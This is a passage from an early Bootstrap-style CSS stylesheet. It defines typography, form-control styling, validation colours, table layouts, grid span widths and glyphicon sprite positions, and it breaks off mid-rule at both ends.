ellipsis;\n    white-space: nowrap;\n}\n\n.dl-horizontal dd {\n    margin-left: 130px;\n}\n\nhr {\n    margin: 18px 0;\n    border: 0;\n    border-top: 1px solid #eeeeee;\n    border-bottom: 1px solid #ffffff;\n}\n\nstrong {\n    font-weight: bold;\n}\n\nem {\n    font-style: italic;\n}\n\n.muted {\n    color: #999999;\n}\n\nabbr[title] {\n    cursor: help;\n    border-bottom: 1px dotted #999999;\n}\n\nabbr.initialism {\n    font-size: 90%;\n    text-transform: uppercase;\n}\n\nblockquote {\n    padding: 0 0 0 15px;\n    margin: 0 0 18px;\n    border-left: 5px solid #eeeeee;\n}\n\nblockquote p {\n    margin-bottom: 0;\n    font-size: 16px;\n    font-weight: 300;\n    line-height: 22.5px;\n}\n\nblockquote small {\n    display: block;\n    line-height: 18px;\n    color: #999999;\n}\n\nblockquote small:before {\n    content: '\\2014 \\00A0';\n}\n\nblockquote.pull-right {\n    float: right;\n    padding-right: 15px;\n    padding-left: 0;\n    border-right: 5px solid #eeeeee;\n    border-left: 0;\n}\n\nblockquote.pull-right p,\nblockquote.pull-right small {\n    text-align: right;\n}\n\nq:before,\nq:after,\nblockquote:before,\nblockquote:after {\n    content: \"\";\n}\n\naddress {\n    display: block;\n    margin-bottom: 18px;\n    font-style: normal;\n    line-height: 18px;\n}\n\nsmall {\n    font-size: 100%;\n}\n\ncite {\n    font-style: normal;\n}\n\ncode,\npre {\n    padding: 0 3px 2px;\n    font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n    font-size: 12px;\n    color: #333333;\n    -webkit-border-radius: 3px;\n    -moz-border-radius: 3px;\n    border-radius: 3px;\n}\n\ncode {\n    padding: 2px 4px;\n    color: #d14;\n    background-color: #f7f7f9;\n    border: 1px solid #e1e1e8;\n}\n\npre {\n    display: block;\n    padding: 8.5px;\n    margin: 0 0 9px;\n    font-size: 12.025px;\n    line-height: 18px;\n    word-break: break-all;\n    word-wrap: break-word;\n    white-space: pre;\n    white-space: pre-wrap;\n    background-color: #f5f5f5;\n    border: 1px solid #ccc;\n    border: 1px solid rgba(0, 0, 0, 0.15);\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n}\n\npre.prettyprint {\n    margin-bottom: 18px;\n}\n\npre code {\n    padding: 0;\n    color: inherit;\n    background-color: transparent;\n    border: 0;\n}\n\n.pre-scrollable {\n    max-height: 340px;\n    overflow-y: scroll;\n}\n\nform {\n    margin: 0 0 18px;\n}\n\nfieldset {\n    padding: 0;\n    margin: 0;\n    border: 0;\n}\n\nlegend {\n    display: block;\n    width: 100%;\n    padding: 0;\n    margin-bottom: 27px;\n    font-size: 19.5px;\n    line-height: 36px;\n    color: #333333;\n    border: 0;\n    border-bottom: 1px solid #e5e5e5;\n}\n\nlegend small {\n    font-size: 13.5px;\n    color: #999999;\n}\n\nlabel,\ninput,\nbutton,\nselect,\ntextarea {\n    font-size: 13px;\n    font-weight: normal;\n    line-height: 18px;\n}\n\ninput,\nbutton,\nselect,\ntextarea {\n    font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n}\n\nlabel {\n    display: block;\n    margin-bottom: 5px;\n}\n\nselect,\ntextarea,\ninput[type=\"text\"],\ninput[type=\"password\"],\ninput[type=\"datetime\"],\ninput[type=\"datetime-local\"],\ninput[type=\"date\"],\ninput[type=\"month\"],\ninput[type=\"time\"],\ninput[type=\"week\"],\ninput[type=\"number\"],\ninput[type=\"email\"],\ninput[type=\"url\"],\ninput[type=\"search\"],\ninput[type=\"tel\"],\ninput[type=\"color\"],\n.uneditable-input {\n    display: inline-block;\n    height: 18px;\n    padding: 4px;\n    margin-bottom: 9px;\n    font-size: 13px;\n    line-height: 18px;\n    color: #555555;\n}\n\ninput,\ntextarea {\n    width: 210px;\n}\n\ntextarea {\n    height: auto;\n}\n\ntextarea,\ninput[type=\"text\"],\ninput[type=\"password\"],\ninput[type=\"datetime\"],\ninput[type=\"datetime-local\"],\ninput[type=\"date\"],\ninput[type=\"month\"],\ninput[type=\"time\"],\ninput[type=\"week\"],\ninput[type=\"number\"],\ninput[type=\"email\"],\ninput[type=\"url\"],\ninput[type=\"search\"],\ninput[type=\"tel\"],\ninput[type=\"color\"],\n.uneditable-input {\n    background-color: #ffffff;\n    border: 1px solid #cccccc;\n    -webkit-border-radius: 3px;\n    -moz-border-radius: 3px;\n    border-radius: 3px;\n    -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n    -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n    box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n    -webkit-transition: border linear 0.2s, box-shadow linear 0.2s;\n    -moz-transition: border linear 0.2s, box-shadow linear 0.2s;\n    -ms-transition: border linear 0.2s, box-shadow linear 0.2s;\n    -o-transition: border linear 0.2s, box-shadow linear 0.2s;\n    transition: border linear 0.2s, box-shadow linear 0.2s;\n}\n\ntextarea:focus,\ninput[type=\"text\"]:focus,\ninput[type=\"password\"]:focus,\ninput[type=\"datetime\"]:focus,\ninput[type=\"datetime-local\"]:focus,\ninput[type=\"date\"]:focus,\ninput[type=\"month\"]:focus,\ninput[type=\"time\"]:focus,\ninput[type=\"week\"]:focus,\ninput[type=\"number\"]:focus,\ninput[type=\"email\"]:focus,\ninput[type=\"url\"]:focus,\ninput[type=\"search\"]:focus,\ninput[type=\"tel\"]:focus,\ninput[type=\"color\"]:focus,\n.uneditable-input:focus {\n    border-color: rgba(82, 168, 236, 0.8);\n    outline: 0;\n    outline: thin dotted \\9;\n    /* IE6-9 */\n\n    -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);\n    -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);\n    box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n    margin: 3px 0;\n    *margin-top: 0;\n    /* IE7 */\n\n    line-height: normal;\n    cursor: pointer;\n}\n\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"],\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n    width: auto;\n}\n\n.uneditable-textarea {\n    width: auto;\n    height: auto;\n}\n\nselect,\ninput[type=\"file\"] {\n    height: 28px;\n    /* In IE7, the height of the select element cannot be changed by height, only font-size */\n\n    *margin-top: 4px;\n    /* For IE7, add top margin to align select with labels */\n\n    line-height: 28px;\n}\n\nselect {\n    width: 220px;\n    border: 1px solid #bbb;\n}\n\nselect[multiple],\nselect[size] {\n    height: auto;\n}\n\nselect:focus,\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n    outline: thin dotted #333;\n    outline: 5px auto -webkit-focus-ring-color;\n    outline-offset: -2px;\n}\n\n.radio,\n.checkbox {\n    min-height: 18px;\n    padding-left: 18px;\n}\n\n.radio input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"] {\n    float: left;\n    margin-left: -18px;\n}\n\n.controls > .radio:first-child,\n.controls > .checkbox:first-child {\n    padding-top: 5px;\n}\n\n.radio.inline,\n.checkbox.inline {\n    display: inline-block;\n    padding-top: 5px;\n    margin-bottom: 0;\n    vertical-align: middle;\n}\n\n.radio.inline + .radio.inline,\n.checkbox.inline + .checkbox.inline {\n    margin-left: 10px;\n}\n\n.input-mini {\n    width: 60px;\n}\n\n.input-small {\n    width: 90px;\n}\n\n.input-medium {\n    width: 150px;\n}\n\n.input-large {\n    width: 210px;\n}\n\n.input-xlarge {\n    width: 270px;\n}\n\n.input-xxlarge {\n    width: 530px;\n}\n\ninput[class*=\"span\"],\nselect[class*=\"span\"],\ntextarea[class*=\"span\"],\n.uneditable-input[class*=\"span\"],\n.row-fluid input[class*=\"span\"],\n.row-fluid select[class*=\"span\"],\n.row-fluid textarea[class*=\"span\"],\n.row-fluid .uneditable-input[class*=\"span\"] {\n    float: none;\n    margin-left: 0;\n}\n\n.input-append input[class*=\"span\"],\n.input-append .uneditable-input[class*=\"span\"],\n.input-prepend input[class*=\"span\"],\n.input-prepend .uneditable-input[class*=\"span\"],\n.row-fluid .input-prepend [class*=\"span\"],\n.row-fluid .input-append [class*=\"span\"] {\n    display: inline-block;\n}\n\ninput,\ntextarea,\n.uneditable-input {\n    margin-left: 0;\n}\n\ninput.span12,\ntextarea.span12,\n.uneditable-input.span12 {\n    width: 930px;\n}\n\ninput.span11,\ntextarea.span11,\n.uneditable-input.span11 {\n    width: 850px;\n}\n\ninput.span10,\ntextarea.span10,\n.uneditable-input.span10 {\n    width: 770px;\n}\n\ninput.span9,\ntextarea.span9,\n.uneditable-input.span9 {\n    width: 690px;\n}\n\ninput.span8,\ntextarea.span8,\n.uneditable-input.span8 {\n    width: 610px;\n}\n\ninput.span7,\ntextarea.span7,\n.uneditable-input.span7 {\n    width: 530px;\n}\n\ninput.span6,\ntextarea.span6,\n.uneditable-input.span6 {\n    width: 450px;\n}\n\ninput.span5,\ntextarea.span5,\n.uneditable-input.span5 {\n    width: 370px;\n}\n\ninput.span4,\ntextarea.span4,\n.uneditable-input.span4 {\n    width: 290px;\n}\n\ninput.span3,\ntextarea.span3,\n.uneditable-input.span3 {\n    width: 210px;\n}\n\ninput.span2,\ntextarea.span2,\n.uneditable-input.span2 {\n    width: 130px;\n}\n\ninput.span1,\ntextarea.span1,\n.uneditable-input.span1 {\n    width: 50px;\n}\n\ninput[disabled],\nselect[disabled],\ntextarea[disabled],\ninput[readonly],\nselect[readonly],\ntextarea[readonly] {\n    cursor: not-allowed;\n    background-color: #eeeeee;\n    border-color: #ddd;\n}\n\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"][readonly],\ninput[type=\"checkbox\"][readonly] {\n    background-color: transparent;\n}\n\n.control-group.warning > label,\n.control-group.warning .help-block,\n.control-group.warning .help-inline {\n    color: #c09853;\n}\n\n.control-group.warning .checkbox,\n.control-group.warning .radio,\n.control-group.warning input,\n.control-group.warning select,\n.control-group.warning textarea {\n    color: #c09853;\n    border-color: #c09853;\n}\n\n.control-group.warning .checkbox:focus,\n.control-group.warning .radio:focus,\n.control-group.warning input:focus,\n.control-group.warning select:focus,\n.control-group.warning textarea:focus {\n    border-color: #a47e3c;\n    -webkit-box-shadow: 0 0 6px #dbc59e;\n    -moz-box-shadow: 0 0 6px #dbc59e;\n    box-shadow: 0 0 6px #dbc59e;\n}\n\n.control-group.warning .input-prepend .add-on,\n.control-group.warning .input-append .add-on {\n    color: #c09853;\n    background-color: #fcf8e3;\n    border-color: #c09853;\n}\n\n.control-group.error > label,\n.control-group.error .help-block,\n.control-group.error .help-inline {\n    color: #b94a48;\n}\n\n.control-group.error .checkbox,\n.control-group.error .radio,\n.control-group.error input,\n.control-group.error select,\n.control-group.error textarea {\n    color: #b94a48;\n    border-color: #b94a48;\n}\n\n.control-group.error .checkbox:focus,\n.control-group.error .radio:focus,\n.control-group.error input:focus,\n.control-group.error select:focus,\n.control-group.error textarea:focus {\n    border-color: #953b39;\n    -webkit-box-shadow: 0 0 6px #d59392;\n    -moz-box-shadow: 0 0 6px #d59392;\n    box-shadow: 0 0 6px #d59392;\n}\n\n.control-group.error .input-prepend .add-on,\n.control-group.error .input-append .add-on {\n    color: #b94a48;\n    background-color: #f2dede;\n    border-color: #b94a48;\n}\n\n.control-group.success > label,\n.control-group.success .help-block,\n.control-group.success .help-inline {\n    color: #468847;\n}\n\n.control-group.success .checkbox,\n.control-group.success .radio,\n.control-group.success input,\n.control-group.success select,\n.control-group.success textarea {\n    color: #468847;\n    border-color: #468847;\n}\n\n.control-group.success .checkbox:focus,\n.control-group.success .radio:focus,\n.control-group.success input:focus,\n.control-group.success select:focus,\n.control-group.success textarea:focus {\n    border-color: #356635;\n    -webkit-box-shadow: 0 0 6px #7aba7b;\n    -moz-box-shadow: 0 0 6px #7aba7b;\n    box-shadow: 0 0 6px #7aba7b;\n}\n\n.control-group.success .input-prepend .add-on,\n.control-group.success .input-append .add-on {\n    color: #468847;\n    background-color: #dff0d8;\n    border-color: #468847;\n}\n\ninput:focus:required:invalid,\ntextarea:focus:required:invalid,\nselect:focus:required:invalid {\n    color: #b94a48;\n    border-color: #ee5f5b;\n}\n\ninput:focus:required:invalid:focus,\ntextarea:focus:required:invalid:focus,\nselect:focus:required:invalid:focus {\n    border-color: #e9322d;\n    -webkit-box-shadow: 0 0 6px #f8b9b7;\n    -moz-box-shadow: 0 0 6px #f8b9b7;\n    box-shadow: 0 0 6px #f8b9b7;\n}\n\n.form-actions {\n    padding: 17px 20px 18px;\n    margin-top: 18px;\n    margin-bottom: 18px;\n    background-color: #f5f5f5;\n    border-top: 1px solid #e5e5e5;\n    *zoom: 1;\n}\n\n.form-actions:before,\n.form-actions:after {\n    display: table;\n    content: \"\";\n}\n\n.form-actions:after {\n    clear: both;\n}\n\n.uneditable-input {\n    overflow: hidden;\n    white-space: nowrap;\n    cursor: not-allowed;\n    background-color: #ffffff;\n    border-color: #eee;\n    -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n    -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n    box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n}\n\n:-moz-placeholder {\n    color: #999999;\n}\n\n:-ms-input-placeholder {\n    color: #999999;\n}\n\n::-webkit-input-placeholder {\n    color: #999999;\n}\n\n.help-block,\n.help-inline {\n    color: #555555;\n}\n\n.help-block {\n    display: block;\n    margin-bottom: 9px;\n}\n\n.help-inline {\n    display: inline-block;\n    *display: inline;\n    padding-left: 5px;\n    vertical-align: middle;\n    *zoom: 1;\n}\n\n.input-prepend,\n.input-append {\n    margin-bottom: 5px;\n}\n\n.input-prepend input,\n.input-append input,\n.input-prepend select,\n.input-append select,\n.input-prepend .uneditable-input,\n.input-append .uneditable-input {\n    position: relative;\n    margin-bottom: 0;\n    *margin-left: 0;\n    vertical-align: middle;\n    -webkit-border-radius: 0 3px 3px 0;\n    -moz-border-radius: 0 3px 3px 0;\n    border-radius: 0 3px 3px 0;\n}\n\n.input-prepend input:focus,\n.input-append input:focus,\n.input-prepend select:focus,\n.input-append select:focus,\n.input-prepend .uneditable-input:focus,\n.input-append .uneditable-input:focus {\n    z-index: 2;\n}\n\n.input-prepend .uneditable-input,\n.input-append .uneditable-input {\n    border-left-color: #ccc;\n}\n\n.input-prepend .add-on,\n.input-append .add-on {\n    display: inline-block;\n    width: auto;\n    height: 18px;\n    min-width: 16px;\n    padding: 4px 5px;\n    font-weight: normal;\n    line-height: 18px;\n    text-align: center;\n    text-shadow: 0 1px 0 #ffffff;\n    vertical-align: middle;\n    background-color: #eeeeee;\n    border: 1px solid #ccc;\n}\n\n.input-prepend .add-on,\n.input-append .add-on,\n.input-prepend .btn,\n.input-append .btn {\n    margin-left: -1px;\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    border-radius: 0;\n}\n\n.input-prepend .active,\n.input-append .active {\n    background-color: #a9dba9;\n    border-color: #46a546;\n}\n\n.input-prepend .add-on,\n.input-prepend .btn {\n    margin-right: -1px;\n}\n\n.input-prepend .add-on:first-child,\n.input-prepend .btn:first-child {\n    -webkit-border-radius: 3px 0 0 3px;\n    -moz-border-radius: 3px 0 0 3px;\n    border-radius: 3px 0 0 3px;\n}\n\n.input-append input,\n.input-append select,\n.input-append .uneditable-input {\n    -webkit-border-radius: 3px 0 0 3px;\n    -moz-border-radius: 3px 0 0 3px;\n    border-radius: 3px 0 0 3px;\n}\n\n.input-append .uneditable-input {\n    border-right-color: #ccc;\n    border-left-color: #eee;\n}\n\n.input-append .add-on:last-child,\n.input-append .btn:last-child {\n    -webkit-border-radius: 0 3px 3px 0;\n    -moz-border-radius: 0 3px 3px 0;\n    border-radius: 0 3px 3px 0;\n}\n\n.input-prepend.input-append input,\n.input-prepend.input-append select,\n.input-prepend.input-append .uneditable-input {\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    border-radius: 0;\n}\n\n.input-prepend.input-append .add-on:first-child,\n.input-prepend.input-append .btn:first-child {\n    margin-right: -1px;\n    -webkit-border-radius: 3px 0 0 3px;\n    -moz-border-radius: 3px 0 0 3px;\n    border-radius: 3px 0 0 3px;\n}\n\n.input-prepend.input-append .add-on:last-child,\n.input-prepend.input-append .btn:last-child {\n    margin-left: -1px;\n    -webkit-border-radius: 0 3px 3px 0;\n    -moz-border-radius: 0 3px 3px 0;\n    border-radius: 0 3px 3px 0;\n}\n\n.search-query {\n    padding-right: 14px;\n    padding-right: 4px \\9;\n    padding-left: 14px;\n    padding-left: 4px \\9;\n    /* IE7-8 doesn't have border-radius, so don't indent the padding */\n\n    margin-bottom: 0;\n    -webkit-border-radius: 14px;\n    -moz-border-radius: 14px;\n    border-radius: 14px;\n}\n\n.form-search input,\n.form-inline input,\n.form-horizontal input,\n.form-search textarea,\n.form-inline textarea,\n.form-horizontal textarea,\n.form-search select,\n.form-inline select,\n.form-horizontal select,\n.form-search .help-inline,\n.form-inline .help-inline,\n.form-horizontal .help-inline,\n.form-search .uneditable-input,\n.form-inline .uneditable-input,\n.form-horizontal .uneditable-input,\n.form-search .input-prepend,\n.form-inline .input-prepend,\n.form-horizontal .input-prepend,\n.form-search .input-append,\n.form-inline .input-append,\n.form-horizontal .input-append {\n    display: inline-block;\n    *display: inline;\n    margin-bottom: 0;\n    *zoom: 1;\n}\n\n.form-search .hide,\n.form-inline .hide,\n.form-horizontal .hide {\n    display: none;\n}\n\n.form-search label,\n.form-inline label {\n    display: inline-block;\n}\n\n.form-search .input-append,\n.form-inline .input-append,\n.form-search .input-prepend,\n.form-inline .input-prepend {\n    margin-bottom: 0;\n}\n\n.form-search .radio,\n.form-search .checkbox,\n.form-inline .radio,\n.form-inline .checkbox {\n    padding-left: 0;\n    margin-bottom: 0;\n    vertical-align: middle;\n}\n\n.form-search .radio input[type=\"radio\"],\n.form-search .checkbox input[type=\"checkbox\"],\n.form-inline .radio input[type=\"radio\"],\n.form-inline .checkbox input[type=\"checkbox\"] {\n    float: left;\n    margin-right: 3px;\n    margin-left: 0;\n}\n\n.control-group {\n    margin-bottom: 9px;\n}\n\nlegend + .control-group {\n    margin-top: 18px;\n    -webkit-margin-top-collapse: separate;\n}\n\n.form-horizontal .control-group {\n    margin-bottom: 18px;\n    *zoom: 1;\n}\n\n.form-horizontal .control-group:before,\n.form-horizontal .control-group:after {\n    display: table;\n    content: \"\";\n}\n\n.form-horizontal .control-group:after {\n    clear: both;\n}\n\n.form-horizontal .control-label {\n    float: left;\n    width: 140px;\n    padding-top: 5px;\n    text-align: right;\n}\n\n.form-horizontal .controls {\n    *display: inline-block;\n    *padding-left: 20px;\n    margin-left: 160px;\n    *margin-left: 0;\n}\n\n.form-horizontal .controls:first-child {\n    *padding-left: 160px;\n}\n\n.form-horizontal .help-block {\n    margin-top: 9px;\n    margin-bottom: 0;\n}\n\n.form-horizontal .form-actions {\n    padding-left: 160px;\n}\n\ntable {\n    max-width: 100%;\n    background-color: transparent;\n    border-collapse: collapse;\n    border-spacing: 0;\n}\n\n.table {\n    width: 100%;\n    margin-bottom: 18px;\n}\n\n.table th,\n.table td {\n    padding: 8px;\n    line-height: 18px;\n    text-align: left;\n    vertical-align: top;\n    border-top: 1px solid #dddddd;\n}\n\n.table th {\n    font-weight: bold;\n}\n\n.table thead th {\n    vertical-align: bottom;\n}\n\n.table caption + thead tr:first-child th,\n.table caption + thead tr:first-child td,\n.table colgroup + thead tr:first-child th,\n.table colgroup + thead tr:first-child td,\n.table thead:first-child tr:first-child th,\n.table thead:first-child tr:first-child td {\n    border-top: 0;\n}\n\n.table tbody + tbody {\n    border-top: 2px solid #dddddd;\n}\n\n.table-condensed th,\n.table-condensed td {\n    padding: 4px 5px;\n}\n\n.table-bordered {\n    border: 1px solid #dddddd;\n    border-collapse: separate;\n    *border-collapse: collapsed;\n    border-left: 0;\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n}\n\n.table-bordered th,\n.table-bordered td {\n    border-left: 1px solid #dddddd;\n}\n\n.table-bordered caption + thead tr:first-child th,\n.table-bordered caption + tbody tr:first-child th,\n.table-bordered caption + tbody tr:first-child td,\n.table-bordered colgroup + thead tr:first-child th,\n.table-bordered colgroup + tbody tr:first-child th,\n.table-bordered colgroup + tbody tr:first-child td,\n.table-bordered thead:first-child tr:first-child th,\n.table-bordered tbody:first-child tr:first-child th,\n.table-bordered tbody:first-child tr:first-child td {\n    border-top: 0;\n}\n\n.table-bordered thead:first-child tr:first-child th:first-child,\n.table-bordered tbody:first-child tr:first-child td:first-child {\n    -webkit-border-top-left-radius: 4px;\n    border-top-left-radius: 4px;\n    -moz-border-radius-topleft: 4px;\n}\n\n.table-bordered thead:first-child tr:first-child th:last-child,\n.table-bordered tbody:first-child tr:first-child td:last-child {\n    -webkit-border-top-right-radius: 4px;\n    border-top-right-radius: 4px;\n    -moz-border-radius-topright: 4px;\n}\n\n.table-bordered thead:last-child tr:last-child th:first-child,\n.table-bordered tbody:last-child tr:last-child td:first-child {\n    -webkit-border-radius: 0 0 0 4px;\n    -moz-border-radius: 0 0 0 4px;\n    border-radius: 0 0 0 4px;\n    -webkit-border-bottom-left-radius: 4px;\n    border-bottom-left-radius: 4px;\n    -moz-border-radius-bottomleft: 4px;\n}\n\n.table-bordered thead:last-child tr:last-child th:last-child,\n.table-bordered tbody:last-child tr:last-child td:last-child {\n    -webkit-border-bottom-right-radius: 4px;\n    border-bottom-right-radius: 4px;\n    -moz-border-radius-bottomright: 4px;\n}\n\n.table-striped tbody tr:nth-child(odd) td,\n.table-striped tbody tr:nth-child(odd) th {\n    background-color: #f9f9f9;\n}\n\n.table tbody tr:hover td,\n.table tbody tr:hover th {\n    background-color: #f5f5f5;\n}\n\ntable .span1 {\n    float: none;\n    width: 44px;\n    margin-left: 0;\n}\n\ntable .span2 {\n    float: none;\n    width: 124px;\n    margin-left: 0;\n}\n\ntable .span3 {\n    float: none;\n    width: 204px;\n    margin-left: 0;\n}\n\ntable .span4 {\n    float: none;\n    width: 284px;\n    margin-left: 0;\n}\n\ntable .span5 {\n    float: none;\n    width: 364px;\n    margin-left: 0;\n}\n\ntable .span6 {\n    float: none;\n    width: 444px;\n    margin-left: 0;\n}\n\ntable .span7 {\n    float: none;\n    width: 524px;\n    margin-left: 0;\n}\n\ntable .span8 {\n    float: none;\n    width: 604px;\n    margin-left: 0;\n}\n\ntable .span9 {\n    float: none;\n    width: 684px;\n    margin-left: 0;\n}\n\ntable .span10 {\n    float: none;\n    width: 764px;\n    margin-left: 0;\n}\n\ntable .span11 {\n    float: none;\n    width: 844px;\n    margin-left: 0;\n}\n\ntable .span12 {\n    float: none;\n    width: 924px;\n    margin-left: 0;\n}\n\ntable .span13 {\n    float: none;\n    width: 1004px;\n    margin-left: 0;\n}\n\ntable .span14 {\n    float: none;\n    width: 1084px;\n    margin-left: 0;\n}\n\ntable .span15 {\n    float: none;\n    width: 1164px;\n    margin-left: 0;\n}\n\ntable .span16 {\n    float: none;\n    width: 1244px;\n    margin-left: 0;\n}\n\ntable .span17 {\n    float: none;\n    width: 1324px;\n    margin-left: 0;\n}\n\ntable .span18 {\n    float: none;\n    width: 1404px;\n    margin-left: 0;\n}\n\ntable .span19 {\n    float: none;\n    width: 1484px;\n    margin-left: 0;\n}\n\ntable .span20 {\n    float: none;\n    width: 1564px;\n    margin-left: 0;\n}\n\ntable .span21 {\n    float: none;\n    width: 1644px;\n    margin-left: 0;\n}\n\ntable .span22 {\n    float: none;\n    width: 1724px;\n    margin-left: 0;\n}\n\ntable .span23 {\n    float: none;\n    width: 1804px;\n    margin-left: 0;\n}\n\ntable .span24 {\n    float: none;\n    width: 1884px;\n    margin-left: 0;\n}\n\n[class^=\"icon-\"],\n[class*=\" icon-\"] {\n    display: inline-block;\n    width: 14px;\n    height: 14px;\n    *margin-right: .3em;\n    line-height: 14px;\n    vertical-align: text-top;\n    background-image: url(\"../img/glyphicons-halflings.png\");\n    background-position: 14px 14px;\n    background-repeat: no-repeat;\n}\n\n[class^=\"icon-\"]:last-child,\n[class*=\" icon-\"]:last-child {\n    *margin-left: 0;\n}\n\n.icon-white {\n    background-image: url(\"../img/glyphicons-halflings-white.png\");\n}\n\n.icon-glass {\n    background-position: 0 0;\n}\n\n.icon-music {\n    background-position: -24px 0;\n}\n\n.icon-search {\n    background-position: -48px 0;\n}\n\n.icon-envelope {\n    background-position: -72px 0;\n}\n\n.icon-heart {\n    background-position: -96px 0;\n}\n\n.icon-star {\n    background-position: -120px 0;\n}\n\n.icon-star-empty {\n    background-position: -144px 0;\n}\n\n.icon-user {\n    background-position: -168px 0;\n}\n\n.icon-film {\n    background-position: -192px 0;\n}\n\n.icon-th-large {\n    background-position: -216px 0;\n}\n\n.icon-th {\n    background-position: -240px 0;\n}\n\n.icon-th-list {\n    background-position: -264px 0;\n}\n\n.icon-ok {\n    background-position: -288px 0;\n}\n\n.icon-remove {\n    background-position: -312px 0;\n}\n\n.icon-zoom-in {\n    background-position: -336px 0;\n}\n\n.icon-zoom-out {\n    background-position: -360px 0;\n}\n\n.icon-off {\n    background-position: -384px 0;\n}\n\n.icon-signal {\n    background-position: -408px 0;\n}\n\n.icon-cog {\n    background-position: -432px 0;\n}\n\n.icon-trash {\n    background-position: -456px 0;\n}\n\n.icon-home {\n    background-position: 0 -24px;\n}\n\n.icon-file {\n    background-position: -24px -24px;\n}\n\n.icon-time {\n    background-position: -48px -24px;\n}\n\n.icon-road {\n    background-position: -72px -24px;\n}\n\n.icon-download-alt {\n    background-position: -96px -24px;\n}\n\n.icon-download {\n    background-position: -120px -24px;\n}\n\n.icon-upload {\n    background-position: -144px -24px;\n}\n\n.icon-inbox {\n    background-position: -168px -24px;\n}\n\n.icon-play-circle {\n    background-position: -192px -24px;\n}\n\n.icon-repeat {\n    background-position: -216px -24px;\n}\n\n.icon-refresh {\n    background-position: -240px -24px;\n}\n\n.icon-list-alt {\n    background-position: -264px -24px;\n}\n\n.icon-lock {\n    background-position: -287px -24px;\n}\n\n.icon-flag {\n    background-position: -312px -24px;\n}\n\n.icon-headphones {\n    background-position: -336px -24px;\n}\n\n.icon-volume-off {\n    background-position: -360px -24px;\n}\n\n.icon-volume-down {\n    background-position: -384px -24px;\n}\n\n.icon-volume-up {\n    background-position: -408px -24px;\n}\n\n.icon-qrcode {\n    background-position: -432px -24px;\n}\n\n.icon-barcode {\n    background-position: -456px -24px;\n}\n\n.icon-tag {\n    background-position: 0 -48px;\n}\n\n.icon-tags {\n    background-position: -25px -48px;\n}\n\n.icon-book {\n    background-position: -48px -48px;\n}\n\n.icon-bookmark {\n    background-position: -72px -48px;\n}\n\n.icon-print {\n    background-position: -96px -48px;\n}\n\n.icon-camera {\n    background-position: -120px -48px;\n}\n\n.icon-font {\n    background-position: -144px -48px;\n}\n\n.icon-bold {\n    background-position: -167px -48px;\n}\n\n.icon-italic {\n    background-position: -192px -48px;\n}\n\n.icon-text-height {\n    background-position: -216px -48px;\n}\n\n.icon-text-width {\n    background-position: -240px -48px;\n}\n\n.icon-align-left {\n    background-position: -264px -48px;\n}\n\n.icon-align-center {\n    background-position: -288px -48px;\n}\n\n.icon-align-right {\n    background-position: -312px -48px;\n}\n\n.icon-align-justify {\n    background-position: -336px -48px;\n}\n\n.icon-list {\n    background-position: -360px -48px;\n}\n\n.icon-indent-left {\n    background-position: -384px -48px;\n}\n\n.icon-indent-right {\n    background-position: -408px -48px;\n}\n\n.icon-facetime-video {\n    background-position: -432px -48px;\n}\n\n.icon-picture {\n    background-position: -456px -48px;\n}\n\n.icon-pencil {\n    background-position: 0 -72px;\n}\n\n.icon-map-marker {\n    background-position: -24px -72px;\n}\n\n.icon-adjust {\n    background-position: -48px -72px;\n}\n\n.icon-tint {\n    background-position: -72px -72px;\n}\n\n.icon-edit {\n    background-position: -96px -72px;\n}\n\n.icon-share {\n    background-position: -120px -72px;\n}\n\n.icon-check {\n    background-position: -144px -72px;\n}\n\n.icon-move {\n    background-position: -168px -72px;\n}\n\n.icon-step-backward {\n    background-position: -192px -72px;\n}\n\n.icon-fast-backward {\n    background-position: -216px -72px;\n}\n\n.icon-backward {\n    background-position: -240px -72px;\n}\n\n.icon-play {\n    background-position: -264px -72px;\n}\n\n.icon-pause {\n    background-position: -288px -72px;\n}\n\n.icon-stop {\n    background-position: -312px -72px;\n}\n\n.icon-forward {\n    background-position: -336px -72px;\n}\n\n.icon-fast-forward {\n    background-position: -360px -72px;\n}\n\n.icon-step-forward {\n    background-position: -384px -72px;\n}\n\n.icon-eject {\n    background-position: -408px -72px;\n}\n\n.icon-chevron-left {\n    background-position: -432px -72px;\n}\n\n.icon-chevron-right {\n    background-position: -456px -72px;\n}\n\n.icon-plus-sign {\n    background-position: 0 -96px;\n}\n\n.icon-minus-sign {\n    background-position: -24px -96px;\n}\n\n.icon-remove-sign {\n    background-position: -48px -96px;\n}\n\n.icon-ok-sign {\n    background-position: -72px -96px;\n}\n\n.icon-question-sign {\n    background-position: -96px -96px;\n}\n\n.icon-info-sign {\n    background-position: -120px -96px;\n}\n\n.icon-screenshot {\n    background-position: -144px -96px;\n}\n\n.icon-remove-circle {\n    background-position: -168px -96px;\n}\n\n.icon-ok-circle {\n    background-position: -192px -96px;\n}\n\n.icon-ban-circle {\n    background-position: -216px -96px;\n}\n\n.icon-arrow-left {\n    background-position: -240px -96px;\n}\n\n.icon-arrow-right {\n    background-position: -264px 